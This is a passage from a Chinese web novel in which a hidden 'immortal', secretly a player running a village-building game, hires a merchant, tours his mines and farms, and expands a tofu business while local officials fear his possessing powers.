而今日,这妖物又是替天行道,做了她们想,但是不能做之事,那这是否能够说明这未知的妖物并非残暴,而是处于正义的一方? 难不成,这并非妖物,而是一种法则或者法宝,能够洞悉她们真正的想法,从而做事? 脑内思绪翩飞,几人还没思考出个一二三来,便被官兵轰了出去。 看着那堂内已然到了收尾阶段,几人纷纷离开。 而在其中,最为聪慧的便是方家小娘子,方知意。 将刚才的见闻拓印在脑内,方知意沉着脸,满怀心事地回到府内。 她身后跟着的贴身丫鬟闻音则是急匆匆跟在自家小娘子身后,一脸苦相。 ——自家小娘子和别家娘子不同,不好什么胭脂水粉,新奇吃食,或新款衣物,也不关心哪家郎君俊俏,素日里除了喜欢读书,便是带着她出门遛弯,用小娘子的话说,这是出门长见识。 虽说每次出门是很有趣,但小娘子贵为方府小姐,哪能天天出门当街溜子啊? 像小娘子这般大的别家娘子,这会都在家里练习琴棋书画,诗歌词赋,或者学着打理家中产业。 而看看自家娘子,除了对下棋,读书,感兴趣,别的也不见小娘子多上心。 也就是老爷夫人宠着小娘子,不然换作别家父母,应当早就要她收了玩心。 闻音慢慢叹了口气,倒是自家小娘子开口了。 “闻音,你去代我喊孙姐姐,白姐姐到府上探讨棋艺。” 闻音赶忙应下,倒是方知意脚步加快了几分,打算在自家书房内等待姐妹到来。 ——今日那小吏一事,似乎让她察觉到了一丝改变的机会,但这到底是好的改变还是差的改变,她拿捏不住,所以想姐妹们来府内一叙。 等着的时间太过于无聊,方知意随意挑出来一本民间风俗手册,打算打发一下时间。 而等她翻开这册子,越往后看,越是觉得奇妙不可语。 这册子初看像是一描绘各地风土人情的民俗手册,但细细品味,方知意很快便被其中描绘出的一地吸引了注意。 据册子所说,这地物产丰富,麦田遍布,药材更是遍地都有,而在这地生活的民众,每日只需工作四个时辰,便能拿到日薪最低为100文的工钱,据册子所说,这工钱给得极为合理,不存在压榨一说,且此处饭菜价格低廉味美花样多,册子列出来的不少美食,方知意竟然是头一次听到。 何谓豆脑花,何谓豆腐,又何谓烤红薯,红薯甜饼? 听名字的话,她甚至不清楚这些东西到底是何物。 而继续往下翻去,方知意再次被后续的描绘看得出神。 据册子所写,那沐浴的地方,有上千铁皮柜供放随身衣物,而后进入洗漱时,温水可随心而控,除却这些,那处的洗浴产品并非常规皂荚,胰子,而是五颜六色的含有各种香味的液体,这液体揉搓后打出泡沫,可用这泡沫清洗发丝,身体。 除却洗漱奇特以外,据册子所写,那地如厕也大有不同,人进去后,便端坐在一洁白如玉的神物上,等完毕后,那神物蕴含吞吐之力,能将污秽吸收而去。 除却生活上的新鲜事以外,那地方的学堂也是大有不同。 学堂并无真人教学,而是有仙人影像,来回播放,以教授众生明理 如此种种不同,惹得方知意看得如痴如醉,尤其是那册子中写到,那地有一位仙人,神通广大,对待众生颇有怜悯之心,但却不求香火,只是留下警告,让众生勤耕不辍,靠自身成就所追寻的幸福。 而在那之地,人人平等,不存在压迫,也不存在纷争,属实是桃源世界。 册子很薄,方知意阅读速度飞快,等到看完册子后,她整个人暗叹一声,陷入了一种莫名的虚无状态中,直到闻音前来。《 》 60-70 第61章 心愿 等孙凝羽和白思妙二人前来时,看到就是方知意一副失魂落魄的模样。 二人忍不住开口询问,结果手心却被放入一本薄薄的册子。 “孙姐姐,白姐姐,你们二人且看这册子。” 二人均是疑惑,不过想起素日里方知意处事妥当,倒也没觉得她不对劲,反而展开册子,细细看下去。 等到一炷香后,二人放下手中的册子,叹了口气。 “知意,这册子上所言甚是美妙,但我们都知道,这地方定是不存在的。” 方知意却不接话,反而说起了今日那县衙一事。 等到说完后,孙白二人均是不可思议。 “那小吏我应当听我父亲说过,此人惯会阿谀奉承,绝不会说出堂内那些话来,且据我所知,那王县令也不会允许他对这案件这般断案。” 孙凝羽仔细回忆着自家父亲在前厅和旁人论事时的内容,秀气的眉毛微微拧起。 而白思妙则是迟疑着说出猜测。 “你们说,会不会是那众人口口相传的诡异?” 她们三人都知道城墙发生了何事,而如今这小吏和以往性情不同,十有八九是因为那诡异的手笔。 方知意起身,在屋内慢慢踱步,随后开口:“白姐姐和我想的一样,其实我还有一猜测” 很快,方知意便将自己先前对于这诡异的真实身份说了出来,孙白二人均是沉默不语,而就在此刻,孙凝羽惊呼一声,举着那本册子低声道:“你们快来看,这里似乎有新的字出现了。” 二人忙凑过来去看,结果真如同孙凝羽所说,那薄薄的册子一角,竟出现了三个大字。 “潜灵山?” 三人异口同声念出这三字,随即脸色难看。 竟是那处被人传得邪乎的地方! 只是那诡异之处,会是这册子所说的美妙之地? 思索片刻,方知意缓缓开口:“我父亲过几天要出门一趟,我打算借机去那斗坡村看看。” 她这话像是水滴滴入油锅,瞬间炸开。 孙白二人劝她小心行事,倒是方知意冷静道:“姐姐们是知我愿想的,现在眼看真相就在眼前,我偏要亲自去看才是,若有新的可能出现,我也想为这世道献出自己一份薄力。” 二人不再劝阻,等回到家后,脑海里却不受控制回想起方知意的话语。 “这世道众人皆艰,而其中又以女子为最难,我庆幸自己生于方府,读过书,写过字。 论才学,自诩无人能和我一般,但有何用? 眼看朝廷动荡,百姓受苦,我一身才学却不能读书入仕,只能等再过几年嫁作他人妇,以后唯一的作用便是帮着丈夫,作为他的贤内助,好让他的仕途更为顺利。 若我从未读过书,不明事理也就稀里糊涂嫁了,但已知晓这世道瑰丽万千,再被迫塞入那余生屈指可数的后院,我便觉得人生无望。 若此次外出不顺,搭上性命,也算我死得其所。” 孙凝羽不由地心头悲痛,她不知自己从何而来的这股磅礴的感触,只是觉得或许方知意是对的。 若她和方知意一般,她定会和方知意一起,相约去那处,但可惜的是,她不能。 如今孙凝羽已是定了亲的,定亲的人家就是那县令之子王阔。 此人不学无术,才学堪忧,也正是如此,王县令才会想着替儿子相看那有才女之名的适龄女子。 若论才学,定属方知意最为优秀,王县令不是没想过求娶,但均被方家父母以方知意心有所属婉拒。 身为一城县令,竟会被小小方家拒绝,王县令心有不满,但很快听到手下人打听到的小道消息后改变了主意。 ——哼,这方家女顽劣不堪,琴棋书画不学,女红不做,只顾着天天带着丫鬟出去玩,这等粗鄙人家的女儿,也亏对方有点自知之明,不敢同意这门亲事。 既然看不上方家女,那剩下的便是孙家女了。 此消息一经放出,孙父狂喜。 几次上门拜访,随后便定下了这门亲事。 即便孙凝羽不愿,但孙父已被滔天利益裹挟,如何能听进去她说话? 定亲后,孙凝羽不是没想方设法拒绝,但孙父岂能容忍她从中作梗。 既因婚事不能对孙凝羽动手,孙父便以发妻威胁。 “你安稳待着,不然你母亲怕是过不上几天好日子。” 孙父心狠,好几次,孙凝羽看着浑身是伤的母亲,忍不住泪流满面。 只能无奈同意,等着日子到了,嫁入那王府。 在等着嫁人期间,她甚至不能频繁出府,这次出来还是孙父出门论事,她这才能找机会溜出来。 而知晓方知意的心意后,一丝期望忍不住飞出。 ——保佑知意,一切顺利,若真有仙人,那她是否能逃离自己的命运? 白思妙想得不如孙凝羽多,她倒是支持方知意,还和对方约定好一起去,不过被方知意拒绝了而已。 方知意意思是,等她确认无危险后再带她过去。 白思妙同意了。 而那被众人议论纷纷的杀夫案终于落下帷幕。 最后判决让堂下不少人惊诧。 ——这判决前所未有啊! 李娘子被孙宁元,刘寡妇扶着上马车时,整个人还处于发懵的状态。 等坐在马车上,看着身旁之物不断退却,这个时候,她才生出一股劫后重生的庆幸感。 而孙宁元则是掀开帘子,让负责赶车的人速度快一些 快一些远离这风仙县,先前她能肯定最后那小吏定是被仙师操控,得趁着那些官兵没反应过来前,离开这是非之地才是。 至于那4两赔偿,孙宁元认为等之后再要也不迟,反正那李四家人又不会插翅膀飞了。 县衙。 那股精纯之力逐渐散去,等到小吏感觉自身神识被重新拉回身体内时,他整个人往后一倒,彻底昏死过去。 等他醒来时,看到的便是一副熟悉的场景。 ——这地方,是在县令家中? 内心大骇,小吏顿觉项上人头可能要不保,还没等他酝酿一番情绪,却见王县令缓步前来。 小吏忍不住冷汗直流,连忙一骨碌爬起来,跪倒在地。 而王县令慢吞吞地落座,旁人端给他一杯热茶,他闻了闻茶杯,蹙眉将茶泼洒在地。 “龙井受潮了,重新泡一杯。” 滚烫的茶水悉数泼洒到小吏手背上,像是火烧一般疼,但他不敢动作,只能将头垂得更低。 之后,王县令慢悠悠开口,终于开始询问关键部分了。 “现在外面已经有不少人叫你包青天在世,是不是感觉这种被百姓拥护的感觉很好?王一?” 王一叫苦不迭。 什么运气啊,被那诡异附身不说,好不容易回来,却要面对这一堆烂摊子。 这会声音颤抖得不像话。 “大人,小人冤枉啊,那公堂之上,说出此番话语的并非小人,而是那诡异啊!” “咔嚓——” 茶杯落地,又是一泡热水倾倒在王一手上。 不过这次并非王县令故意,纯粹是吓的。 “你说什么?” 王一不敢隐瞒,立即老老实实地将先前发生的诡异之事全部告知王县令。 本以为是手下有了自己的想法擅自行事,结果没想到竟然又是那不明妖物行事。 原先以为那城墙事件后,这妖物遁入斗坡村附近,不再出现,现在一看,他还是想得太乐观了。 若按照王一所说,这妖物能附身于无形间,那他岂不是时刻处于危险之间? 毕竟附身一个小小的小吏,只能判处案件,但若是附身在他身上,作为一城县令,那能做的事可就多了去了。 不过好在他先前已派人将风仙县的诡异之处上报,想必不久后这件事便会有人来处理。 大炎朝地大物博,王县令私认为,这等诡异必定有对症之解法。 只不过就算上报,也需要时间,但很有可能,在支援还未到来前,他便会被这未知诡异迫害。 一想到自己正处于危险之间,王县令忍不住打了个寒战。 一旦关乎自身性命,他甚至顾不上对判处案件的不满,只顾得上惊慌。 ——不行,他得找人给府内做做法事,加持一番才行,对了,或许得去那寺庙求个护身符 这会顾不上跪倒在地的王一,王县令急匆匆带着人离开,直奔那据说最灵妙的明心寺求符去了。 等这消息传到李县丞,汪县尉几人耳里,几人均是大惊。 “倒是没想到这妖物竟还有附身的能力,我等不如也跟着县令大人前去讨要护身符,起码要坚持到援军来了才行啊。” 汪县尉后怕不已,连忙提议,李县丞思索片刻,算是同意了这个说法。 于是,几人紧随王县令,也跟着前去那寺庙。 不过,众人的援军注定是等不来了。 那王县令派出去的心腹,此刻早就曝尸荒野。 这人浑身的血肉早已腐烂,衣服被人扒光,行囊被人拿走,那匹马自然也被人牵走了,不知所踪。 而那封写着风仙县异状的上报信,此刻也早就消失不见。 倒是在斗坡村内,一红衣女子蹲在房檐上,正若有所思地看着眼前这一幕。 ——有意思,这里就是那信封内所写的斗坡村? 不是说斗坡村妖物盛行,需要派人剿除么? 现在无论她怎么看,这地方均不像是有灾祸的模样,若非要她说的话,这里可比她去的别的地方要繁华热闹,有人气味多了。 这是她来到斗坡村的第七天了,为了寻找那所谓的妖物,她连续住了七日客栈,美食换着花样的吃了许多,妖物倒是一个都没见到。 若是非要说不合理之处,依她看,便是那美食广场每个月三次的赐福仪式了。 第62章 寻女侠 红衣女子再看了看那美食广场,——此刻的广场倒是没人,等下一次赐福还需要四天。 她从房檐上跳下,随即回了客栈内。 此时正是早餐时间,在来乐客栈内如若花钱购买的话,可以让客房服务送来本地特有的美食。 等她回到房间后不久,房门便被敲响。 “寻女侠,你要的东西到了。” 寻宁打开门,双手接过那放得满满当当吃食的托盘,在付清钱后,她这才毫无顾忌地大吃大喝起来。 话说她为何来这斗坡村,还真是有些巧合在身上的。 寻宁来自明州抚灵山,她从小被家人抛弃,而后被师父捡到悉心养育长大。 在山上,她和师兄师姐研习武学,寒来暑往,毫不懈怠,终在十六岁这年,被允许独自下山历练。 寻宁一路从明州最边界处来,按照师父的话,细心感受着这天地间的不同。 本以为山下要比山上好玩有趣,但一路走来遇到的流民不计其数,战乱,干旱,混乱充斥在她所看到的任何一处。 ——侯门珍馐满,陋巷饿殍横。 杀了不知道多少个狗官恶棍,寻宁一路逃亡,来到风仙县附近。 刚巧她听闻那风仙县城墙一案,立即来了兴趣,正打算潜入城内,却见一穿着官府线人服饰的男子正驾马狂奔。 按道理,她不应该继续出手招致仇恨了,毕竟她在整个明州都流窜遍了,追捕她的队伍除了风仙县暂且没有,别的地方遍地都是。 但不知为何,冥冥中,她还是拦下此人。 等到搜出那封信时,寻宁知道自己该去哪里了。 既拿到了信,那这人定是不该活着出去了。 痛快送对方上路,寻宁驾马狂奔,直到亲眼目睹那封信上所说诡异万分的斗坡村时,她才察觉到不对劲。 ——这村子竟然如此繁荣安宁! 在此地呆得越久,寻宁越是察觉自己看不透这个地方。 五花八门的食物,价格也不高,且更令人震惊的是此地丰富的就业机会。 寻宁观察过,只要在此地有手有脚,只要肯付出努力,定不会说饿死,若是再努力几分,攒点钱,生活只会越来越好。 单是这点,和外面宛如炼狱的其他地方一对比,她顿觉这斗坡村可算不上什么有妖物作祟之地。 若全天下百姓知道妖物能带来这般生活,那大伙都要争抢着让妖物占据才是。 吃完了早饭,摸了摸兜里所剩无几的银两,寻宁决定去找个工作。 赵家小院。 看着祖母身体一天天恢复,赵金构总算能稍微放松片刻。 本想继续陪伴祖母身侧,却没想到被祖母赶了出来。 那叫银英的丫鬟笑道:“少爷的孝心,老夫人都知道。 这些日子,老夫人一直念叨着要少爷去忙自己的事,不必操心她这边,且老夫人有我们精心伺候着,还请少爷放心。” 这话自然是祖母让丫鬟告诉自己的。 深知祖母脾气,赵金构不愿意在她恢复身体之际再去气她,索性按照祖母心意做事。 等他坐着马车来到斗坡村,看着比原先人流量多了数倍的村庄时,再一次觉得先前自己的决定一点没做错。 沿着道路往前走,赵金构慢慢观察这村内变化,等他粗略一扫,发现这小小的村落,竟吃喝住行样样俱全。 ——新开的铺子林林总总,卖什么的都有,而在其中,赵金构甚至还看到了一处刚开的镖局。 不过其中最为显眼的依旧还是他开设的客栈。 等到从客栈进去,平儿第一时间发现了自家少爷,这会忙引着他入座。 “少爷,您可算来了,咱们客栈这段时间发展得那叫一个好啊,这是账本,您看看!” 平儿举着账本让赵金构过目,等到仔细翻看完毕这账本,看着逐渐拔高的营业额时,赵金构心中满意。 一旁的平儿还在继续吹马。 “还是少爷您有远见,这附近行商的,主要是手头宽裕的,必定会来住宿咱家,就算那手里不甚宽敞,也会选择咱家平价客栈住宿,且这些日子,这斗坡村并未出现第二家客栈” 赵金构心中了然,自然知道为何。 ——客栈投入颇大,且需要的手续多,若不是背后有人,还真不好弄。 这会正是中午,门外有人敲门,随即送来一份餐食。 赵金构本不打算用餐,但闻到那独特的香味后,忍不住抬眼打量这饭菜。 ——很平常的炒时蔬,但为何会有这般香味? 除了这炒时蔬,一旁放着的鱼似乎也和素日有些许不同。 注意到自家少爷的目光,平儿忙介绍。 “少爷,您尝尝,这可是咱家厨子改良后的菜色。” 多说无益,赵金构拿起筷子,慢慢夹了一口炒时蔬,等到蔬菜的清香混合着一股独特的风味时,赵金构细细品味这味道来源。 酱油? 不像是,但有很醇厚的发酵味道,配合着清脆的时蔬,倒是有几番风味。 再试试这鱼,赵金构难□□露出惊诧。 “这鱼” 滋味相当好。 且若他没尝错的话,两物似乎用了同一种酱料? 提及自己的发现后,平儿嘿嘿一笑,向他介绍起了那独特之物。 “你说,这两样都用了豆豉?” 经过平儿解释,赵金构算是知道这豆豉为何物。 豆豉是豆腐厂最近的新产品,除了豆豉之外,还有腐乳,臭豆腐。 分别尝了尝其余两物后,赵金构闭眼,随后想到平儿先前说过的话。 ——这三物的推广是豆腐厂兜售员李娘子负责推广的,这人倒是颇有做生意的头脑,在别的兜售员难以兜售出去新产品时,这李娘子反而靠着独创美食,顺利将这三样推广出去。 而自家客栈中的腐乳肉和豆豉鱼,自然是受到那李娘子启发。 至于这清炒时蔬,则是大厨自己研发出来的菜色。 “如此看来,这李娘子倒是个有趣之人,你与我好好说说这人。” 听到自家少爷这般询问,平儿忙将他所知之事告知自家少爷。 等听到这李娘子先是因感情不和提出和离时,赵金构流露出惊讶,随即倒也平静接受。 等再听到这李娘子靠着兜售员岗位,月入好几两后,赵金构眼神带了几分欣赏。 等最后,听到这李娘子失手杀死前夫,被押送风仙县后,赵金构沉默片刻,倒是追问这李娘子目前在何处。 “听说是被孙管事和张里正成功解救出来,人现在应该在家中。” 赵金构替这奇女子松了一口气,随即倒是对这案件的判处多了几分兴趣。 ——按照风仙县那些人的性格,断然不会轻易放过这杀夫案,到底是何原因让他们改变了想法? 赵金构好奇,随即写信派人去打探此事。 而他自己,倒是打算去一趟豆腐厂 毕竟他可是从这新产品中看到了商机。 等到他人刚到豆腐厂,就听到这处人声鼎沸,再往前走几步,定睛一看,此处商贩遍布,好不热闹。 赵金构:数月不来此地,这人是不是太多了一些? 但无奈,他既想见对方,自然要挤进去才行。 等他好不容易见到孙宁元时,原先整洁的衣袍都被挤得凌乱几分。 原先还有些尴尬,但等看到同样不修边幅,一看便是刚从生产第一线过来的孙宁元后,赵金构沉默片刻,淡定了。 伸手作揖后,二人落座。 等到谈及原先预定的那份干货时,孙宁元慢悠悠道:“先前两个月,我按照赵公子所托,将货物交付给游姓商人,那商人倒也爽快,每月来一次,次次将我预留出来的货物清空,眼下赵公子前来拜访,用意为何?” 赵金构微笑道:“多谢前两个月孙总管的照顾,之后的干货,依旧交付给那商人便是。 在下今日来,主要是想和孙总管谈论在干货的基础上,多进一批次的新产品。” 孙宁元神色微微一动,随即继续追问。 “那这是三样都需要?” 赵金构拿出折扇,啪地一声展开,遮掩住唇齿,笑道:“自然。” “赵公子真有眼光,这三样新产品可是我们豆腐厂得意之作,若大批量进货,我可以给到的价格是腐乳,臭豆腐,每文5文一方,豆豉每斤18文。” 孙宁元微微一笑,捧了他一把后,顺带报价。 赵金构微蹙眉头,似乎对这价格有些不满意。 “孙总管,我诚心求购,你再让我几分利如何?毕竟这三样知名度不够,我也需要花费不少金银去造势推销此物。 等到之后我造势成功,你和我,岂不是双赢?” 赵金构说的话有几分煽动性,但孙宁元不吃他这套,反而带笑慢悠悠开口。 “价格的话,无法再降低了,若赵公子担心知名度,我只能说目前的话,我们开设了兜售员一职,已经逐步将这三样产品推销至附近,相信过不久这三物便会和豆腐一样大受欢迎。 其实现在的话,每日来求购新产品的人也是不少” 边说,孙宁元边拿出一本册子冲着他晃了晃。 “这些都是求购之人,这新产品倒也不像是赵公子所说那般不知名。” 言下之意是告诉他,价格不能低了,爱要不要。 赵金构看对方态度强硬,倒也不再提价格,反而问起了令孙宁元有些意外的问题。 “孙总管,我听闻贵厂兜售员只要是推销出新品,获得固定客户,之后这客户再次回购,提成会永久算在兜售员头上,这事是真是假?” 第63章 简陋 孙宁元没直接回答,反而好奇对方为何要问如此问题。 等到听闻赵金构说出李娘子名字,借机向她打探李娘子现状时,孙宁元倒是简单说了几句。 不过并未说明其中缘由,只是说了李娘子目前正在家中休养,若是想见李娘子,应当需过些日子才是。 明显没能打听出来自己想要的东西,赵金构倒也不急,反而询问张山的踪影。 在知道张山依旧在地瓜厂时,赵金构起身前往那处。 而张山被人喊出来时,看到的便是穿着一身水绿色衣袍的赵金构,此人正规规矩矩地站在门外等他。 张山倒是好奇这人为何来找他,二人坐下没说几句话,赵金构便说明了自身来意。 “赵公子的意思是,想让我将你引荐到仙师面前?” 张山原以为对方是想和自己谈生意,但没想到,对方竟然是抱着这番目的前来。 想起前段时间赵金构极尽推脱的模样,张山忍不住出口询问其个中缘由。 倒是赵金构叹息一声,随即将自己前往潜灵山为祖母寻药之事一一告知张山。 “不瞒张管事,原先我确实误解仙师。但当我真正面对那位,我才知道自己原先的想法有多错误。 当初若不是仙师救我,又给我药材,我早就死在那处。现眼下祖母身体逐渐恢复,我自然寻了想回报仙师的心。” 张山听得直点头,他倒是没想到这两个月间,这赵公子竟会遇此变故,既然他心意已决,且还阴差阳错和仙师曾见过面,张山认为,将此人引荐给仙师应当是很合理的行为。 很快,他便从心底呼唤起仙师,在等待仙师回应的同时,张山却是想到了另一人。 ——杨延。 这人感觉也不错,或许等杨延回来后,他也当询问一番对方是否愿意替仙师效力。 正是分神之际,张山便听到脑内传来极为熟悉的声音。 仿若流淌着的山涧寒泉,在听到的瞬间,便会让人思绪平静。 “何事?” 张山忙将来事诉说完毕,随后等着仙师做决定。 而此刻,姜定则是看着屏幕上弹跳出来的提醒发呆。 【你的工人张山向你引荐了新人,赵金构,检测到赵金构好感度已达雇佣要求,是否选择雇佣?】 赵金构? 姜定正在琢磨这人是谁时,脑内突然闪过张山记录内的那位赵公子。 莫非这赵金构便是先前助力张山的赵公子? 有意思。 点了个同意后,几乎瞬间,一个熟悉的人物画像便出现在雇佣界面下。 看着这熟悉的画像,姜定微微愣神,随即立马反应过来,——竟然是先前触发的那紫色隐藏人物! 当时他记得自己给了这人一些药材,随后这件事情便没有了后文。 本以为不知道要到何时才能成功将这隐藏人物收入囊中,倒是没想到,这人在这里等着他呢! 姜定兴奋地点开赵金构的属性界面,随即便被对方强悍的属性惊呆。 ——虽说比不上那超S级的神级NPC祝应,但这属性,绝对是他目前所拥有的最强悍的工人啊! 姜定一阵心酸,随即又暗庆自己还好那会决定帮助这人,不然现在怎么可能能拿到这隐藏工人啊! 这赵金构的天赋属性为【生财有道】,不用细看,姜定便知道此人的妙用在哪。 于是很快,他便点开这人,将经商的任务派送给了对方。 游戏弹出提醒。 【请给你的工人制定工资哦。】 姜定看着新弹跳出来的工资页面,随即道心破裂。 这隐藏人物用起来果然费钱啊,竟然没有固定日薪,而是均以提成百分比作为工资。 最终无奈,姜定只能硬着头皮选择5%的提成,作为赵金构的工资。 而张山还在等待着仙师的回复,没敢松懈之时,就听仙师在他脑内开口。 “此人确有大才,你作为推荐人,应当受到嘉奖。” 张山刚想说不用,结果还未曾反应过来,就察觉到内兜一沉,似乎是有什么东西被放进了兜内。 这会他顾忌旁人在,还不好意思拿出来细看,倒是仙师让他先忙自己的事,张山这才松了口气,忙离开这屋,将空间留给二人。 而他在离开后,则是偷摸瞄了一眼内兜,等到略微一数,脸上情不自禁流露出惊讶。 ——竟有五百文!推荐一个人可比他每天赚的钱要多不少啊。 要是以后他每天推荐一人给仙师,他甚至可以什么活计都不用干,就等着工资入账 当然,张山也就是随便想想而已,毕竟能被仙师认可的人数量极小,他也是运气好,能遇到这么一位。 张山离开后,赵金构倒是平白无故多了几分紧张。 虽说原先和那位仙人有过一面之缘,但那毕竟是两个月前的事,仙人能不能记住他还两说。 正紧张之际,就听脑内突然多出一声音。 这声音仿若寒泉流淌,他原先混乱不安的思绪,此刻却意外地被这声音所抚慰。 等到听清楚对方的话时,赵金构慢了几拍才反应过来? 他没理解错吧?仙师竟打算将跑商这事全权托付给自己? 尤其在听清楚薪资后,赵金构忍不住沉默了 他来之前就做好了为仙师效力的准备,倒是没想到仙师竟然还会给自己开工钱? 尤其这工钱绝非小打小闹,而是他所卖出去货物利润的5%。 若这盘子摊得大,那么他能拿到的薪资可不是一个小数目。 正深思时,赵金构眼前却突然多出一道金色光门。 这光门他原先曾见过! 想来便是仙师的空间挪移大法了。 难道,仙师想和他见面谈话? 赵金构内心难以控制地涌现出一阵欢喜。 昔日仙师那飘然仙姿,赵金构记得清楚,甚至还想再度观摩几番,毕竟那可是他遇到的世间少有的仙颜。 抱着这样的期待,赵金构稳住心中激动,随后踏进那光门之中。 而等他从光门之中出来时,看到的便是一妇人。 这人见到他微微一笑,随即道:“赵公子,我是负责迎接你的向导,奉仙师之命来为你讲解仙师旗下产业,素日的话,是负责管理仙师旗下产业的主计。 你可以叫我张娘子。” 赵金构心中难免生出几分失落。 本以为能见到仙师,倒是没想到仙师忙碌,不曾有时间见他。 不过既然他负责之后跑商任务,那眼下确实需要知晓仙师旗下都有哪些产业,统计完毕后,他才能对之后的经营做出计划。 于是赵金构含笑对着张娘子道:“那便劳烦张娘子了。” 张娘子点点头,随后边走边替赵金构介绍答疑。 二人先去了矿产区域,等进入那矿产区域后,赵金构看着这几条矿脉陷入了沉默。 ——不说别的,就这几条矿脉,若是能卖的话,他甚至不敢估量这矿脉价值几何。 倒是张娘子眼神幽幽。 “赵公子,有些事我要预先说清楚,免得你误会,这矿脉区域概不外售。 除了矿脉区域之外,一会我要带你去的灵田区也是如此。 仙师让我带你熟悉山上,你合该心中有数,什么能卖什么不能卖。” 张娘子的提点到此结束,赵金构忙作揖感谢。 临走前,看着矿脉区域不断抛洒汗水的矿工们,赵金构忍不住询问。 “敢问张娘子,这些采矿工人可有工钱?” “自然是有的,且比市面待遇要好。” 张娘子神色自若,随后替赵金构解答。 “每日工作四个时辰,管吃管住,日薪为300文。” 300文,确实比市面高,且市面上的采矿工可不包括吃饭在内,再说了,工作时长这一方面就能吊打外面。 赵金构不免对仙师的认识又多了几分,他这会跟着张娘子身后,直到二人经过一片农田时,停了下来。 张娘子含笑介绍。 “这便是灵田区,一般情况下负责培育新作物,先前的番薯,以及现在高产量的大豆均是来自于此。” 赵金构颇有些兴致地看了眼田地,发现田里种着的竟然是麦苗,更令他惊讶的是,这麦子上方结的麦穗各个饱满圆润,可要比他先前所见过的麦穗丰实得多。 张娘子注意到他打量的眼神,替他解释道:“这便是最近研究的高产麦苗,等到麦种足够后,仙师便会寻找机会让此麦种投放于山下。 除了这些以外,不远处还培育着高产辣椒,作为酸辣粉配料的补充。” 赵金构向远处眺望,的确看到了一抹绿意中的红。 ——他倒是没想到,仙师竟会聚焦于如此细微民生之处,实在是令他折服。 二人继续往前,先是看到几所建设得极为新奇的住所。 张娘子解释道这是供给工人们住宿之处。 为了让赵金构更好的了解一番,她打开门,带赵金构进去参观一番。 等到看到那淋浴间,洗手间后,赵金构顿觉自己对高端客栈的设计似乎眼界窄了。 ——只有像这处一般,沐浴能时刻有温水,出恭又是如此干净方便,才能被称为高端 他是否能将此创意也运用到自己客栈中去?只是这物看上去颇为复杂,还需要好好研究一番才是。 不过此处果然不愧是仙师供给的住所,的确新奇,他甚至不敢想象仙师的住所该是何种模样。 倒是听到这话的张娘子似乎神色一梗,刚想说些什么,又将那冲动压制下去。 二人出了门,继续往前走,在连续看到数所仓库后,一座极为简朴的房屋便出现在二人面前。 赵金构注意到先前张娘子神色变化,正不知何意时,便听张娘子似叹息般开口。 “此处,便是仙师住所了。” 第64章 分店 看着眼前这所简朴小屋,赵金构有些不敢置信 这竟然是仙师的住所? 为何看着比那些工人的住所还要随意? 不等赵金构说话,张娘子先慢慢叹了口气,眼神中充满了惋惜。 “先前我曾询问过是否要扩大仙师的住所,当时仙师说的是不用,结果之后仙师反而花费一大笔钱,用于山下豆腐厂的建设,至此我便知晓仙师打心底里惦记的是百姓,而非自己。” 赵金构忍不住为之震颤。 随即便想到了仙师曾提过的警示,——勤修不辍。 原先他从这番话语中察觉对方那高洁的品行,然而此时此刻,亲眼看到仙师这般万事为民,赵金构还是忍不住心生感慨。 怪不得仙人是仙,这若是换做任何一人,在自己有能力的情况下,谁不是会本能地先改善自己居住条件呢? 只有说仙人,才能超脱世俗,一心追求心灵的平静,而不在乎身外之物的多少。 想到这里,赵金构心头的敬佩之意,不由地更加浓烈几分。 被迫超脱世俗,不在乎身外之物的姜定,其实当初只是等级不够,无法给自身建设更为豪华的住所而已 再加上前期用钱的地方实在是太多,平时除了回去存个档睡觉,住所也没什么用,索性他直接就当看不见住所破烂,暂且凑合着而已。 张娘子扫了一眼赵金构,随即继续道:“眼下我们能有这般好生活,可以说全靠仙师,既然仙师已让你负责跑商任务,那便是说明你值得信赖,所以我会将山上,以及山下的情况全都告知到位。 因为我们都有一个共同的目标,那便是跟随仙师脚步,还这世间一个朗朗乾坤。” 赵金构看着张娘子,此人虽上了年纪,但不知为何,她说出的这番话却是这般有魄力。 而后,他在看到这位张娘子所管理的账目后,忍不住心底惊讶。 这张娘子一手算账能力可不寻常,此人定当来历不凡,不然没办法解释这等手艺是从哪里学来的。 赵金构暗自将自身算数和这张娘子对比,随后得出结论,就算是他,估计也很难超越这位张娘子算数手艺。 不知道仙师是从何处获取这般人才的? 一般来说,负责记账的都是知根知底的心腹,再加上这张娘子出手不凡,赵金构不免猜测起像是这样的人才,仙师手下到底还有多少 雇佣列表高数值人员只有寥寥几个的姜定:沉默还是沉默 等到将山上逛完一圈后,赵金构和这位张娘子率先提出告辞,等他徒步往山下走时,脑内想着的全是该如何发展经济。 ——虽说山上的矿产区域不能售卖,灵田区域也不可售卖,但这两个区域其实是传递出一种信息。 矿产的话,旨在告诉他未来制作业,以及武器防备制作不会被卡脖子,而灵田区域则是告诉他,未来仙师旗下的百姓定会吃喝不愁,且他已率先知晓下一次仙师推广的可能便是这高产小麦。 再思索山下产业后,赵金构倒是逐渐分辨出仙师用意。 先是解决百姓无工可上的困境,再巧妙地让众人推广相关产物,等推广成功,刚好众人上工制作的产物便能被售卖出去,售卖出去后,不仅仅让百姓有了钱,更是极大地促进了本村的经济,逐渐让此地形成一个新兴的繁华之地。 这番计策不可谓不妙啊。 不过,让人疑惑的是,这番操作确实称得上完美,但这对于仙师本人到底有何用处呢? 赵金构禁不住细细揣摩,但很可惜,无论他如何揣摩,均是品味不到深层次的用意,只能作罢。 既然仙师将跑商任务交付给他,那他自然当是负责才是。 地瓜厂产物他原先便售卖过,现在接手只能说更为顺手,倒是这豆腐厂还大有作为。 赵金构缓缓思索,——干货类售卖很正常,但如何才能让不同地方的人吃上这新鲜的豆腐和豆腐干呢? 若按照现在的运输时效来计算,从斗坡村做好,再拿出去售卖,定会坏在路途。 最好的法子便是培养一批熟练的豆腐工,随后将这豆腐坊开设至各地才是。 赵金构对豆腐坊的前景很是看好,毕竟这物味美还有营养,若是推广开来,想必是一笔相当不菲的收入。 不过也有缺点,一是培养员工费劲,二是前期投入较多。 不知仙师是否能同意自己的做法? 赵金构在脑内试图联络仙师,本以为可能要连接不上,倒是没想到,脑内却传来那熟悉的声音。 将自己的想法告知仙师后,赵金构不免有些紧张,对方每沉默一分,他都会忍不住思绪乱飞。 而此刻,姜定则是看着游戏弹出来的提醒发呆。 【你的工人赵金构提议将豆腐厂开设至各地,你是否同意?】 【A.同意,大力支持,且放权给对方去做。】 